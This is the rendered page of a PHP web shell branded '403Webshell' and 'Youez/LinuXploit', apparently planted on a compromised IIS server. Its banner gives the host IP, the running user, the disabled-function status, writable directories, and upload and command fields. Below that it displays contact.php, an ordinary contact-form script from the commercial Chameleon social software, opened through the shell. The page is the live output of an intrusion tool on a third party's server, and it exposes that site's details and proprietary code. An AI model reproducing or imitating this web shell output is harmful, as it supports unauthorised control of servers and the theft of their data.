403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.1-5.2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-5.1-5.2//contact.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$ajax = isset($_POST['ajax']) ? $_POST['ajax'] : false;
if ($ajax ) {
   $g['mobile_redirect_off'] = true;
}
include("./_include/core/main_start.php");

if(!Common::isOptionActive('contact')) {
    Common::toHomePage();
}

Common::checkAreaLogin();

class CContact extends CHtmlBlock
{
    var $responseData = null;
	var $message;

	function action()
	{
		global $g, $g_user, $p;

		$cmd = get_param('cmd');
        $ajax = get_param('ajax');

		if ($cmd == 'send')
		{
			$mail = get_param('email');
			$name = get_param('username');
			$userId = 0;
            if (guid() && $ajax) {
				$userId = $g_user['user_id'];
                $user = User::getInfoBasic($g_user['user_id']);
                $mail = $user['mail'];
                $name = $user['name'];
            }

			$this->message = '';
            $message = 0;
            // When Ajax mail is certainly true - it makes no sense to check
            if (!Common::validateEmail($mail) && (!$ajax || ($ajax && !guid()))) {
                $this->message = l('the_e_mail_incorrect_please_choose_another');
                if ($ajax) {
                    $this->responseData = '<span class="error">' . $this->message . '<span>';
                }
                $message = 1;
            } else if (!$ajax && !get_session('j_captcha')) {
                $message = 3;
            }

			$comment = trim(strip_tags(get_param('comment')));

			/*$add = DB::result("SELECT id FROM contact WHERE comment=" . to_sql($comment) . "");
			if ($add != 0) {
                $this->message .= l('This comment alredy was sent.'). '<br />';
			}*/

            /*if ($this->message != '' && $ajax) {
                $this->responseData = '<error>' . $this->message . '</error>';
            }*/

            $name = strip_tags($name);
            $mail = strip_tags($mail);
            if (!$message && $comment !== '')
			{
				DB::execute("
					INSERT INTO contact
					(user_id, name, mail, comment, date)
					VALUES(
					" . to_sql($userId) . ",
					" . to_sql($name, "Text") . ",
					" . to_sql($mail, "Text") . ",
					" . to_sql($comment, "Text") . ",
					" . to_sql(date('Y-m-d H:i:s'), "Text") . "
					)
				");
                if (Common::isEnabledAutoMail('contact')) {
                    //Sent message copy to admin
                    $vars = array('title' => $g['main']['title'] . ' ' . $name,
                                  'name' => $name,
                                  'from' => $mail,
                                  'comment' => nl2br($comment),
                            );
                    Common::sendAutomail(Common::getOption('administration', 'lang_value'), $g['main']['info_mail'], 'contact', $vars);
                }
                $this->message = l('your_comment_has_been_sent');
                $message = 2;

                if ($ajax) {
                    $this->responseData = '<span>' . $this->message . '<span>';
                } else {
                    set_session('j_captcha', false);
                }
			}
            if (!$ajax) {
                redirect($p . '?message=' . $message);
            }
        }elseif ($cmd == 'check_captcha') {
            $responseData = check_captcha_mod(get_param('captcha'), '', false, false, '', '');
            die(getResponseAjaxByAuth(true, $responseData));
        }
	}

	function parseBlock(&$html)
	{
        $msg = array('0' => '',
                     '1' => l('the_e_mail_incorrect_please_choose_another') . '<br/>',
                     '2' => l('your_comment_has_been_sent') . '<br/>',
                     '3' => l('incorrect_captcha') . '<br/>');

        $message = get_param('message', 0);

		$html->setvar('contact_message', $msg[$message]);
		$html->setvar('username', get_session('my_name'));

        if(Common::isOptionActive('news')) {
            $html->parse('news_on');
        }
        if(Common::isOptionActive('help')) {
            $html->parse('help_on');
        }

        if ($html->varExists('page_content')) {
            $pageId = CustomPage::getIdFromAlias('menu_bottom_contact_us');
            CustomPage::parsePage($html, $pageId);
        }

        $isParseCaptcha = true;
        if (guid() && Common::isOptionActive('captcha_contact_only_visitor', 'template_options')) {
            $isParseCaptcha = false;
        }
        if ($isParseCaptcha) {
            Common::parseCaptcha($html);
        }


        if (!guid()){
            $blocksVisitor = array('contact_email', 'contact_username', 'contact_captcha');
            foreach ($blocksVisitor as $block) {
                if ($html->blockExists($block)) {
                    $html->parse($block, false);
                }
            }
        }

		parent::parseBlock($html);
	}
}

$ajax = get_param('ajax');
if ($ajax) {
    $page = new CContact('', '', '', '', true);
    $page->action(false);
    die(getResponseDataAjax($page->responseData));
}


$page = new CContact("", $g['tmpl']['dir_tmpl_main'] . "contact.html");
$getPageAjax = get_param('get_page_ajax');
if ($getPageAjax) {
    $tmp = null;
    $return = $page->parse($tmp, true);
    die(getResponseDataAjax(trim($return)));
}

$header = new CHeader("header", $g['tmpl']['dir_tmpl_main'] . "_header.html");
$page->add($header);

if (Common::isParseModule('menu_help')) {
    include("./_include/current/menu_section.class.php");
    $mailMenu = new CMenuSection('menu_help', $g['tmpl']['dir_tmpl_main'] . "_menu_help.html");
    $mailMenu->setActive('contact');
    $page->add($mailMenu);
}

$footer = new CFooter("footer", $g['tmpl']['dir_tmpl_main'] . "_footer.html");
$page->add($footer);

include("./_include/core/main_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit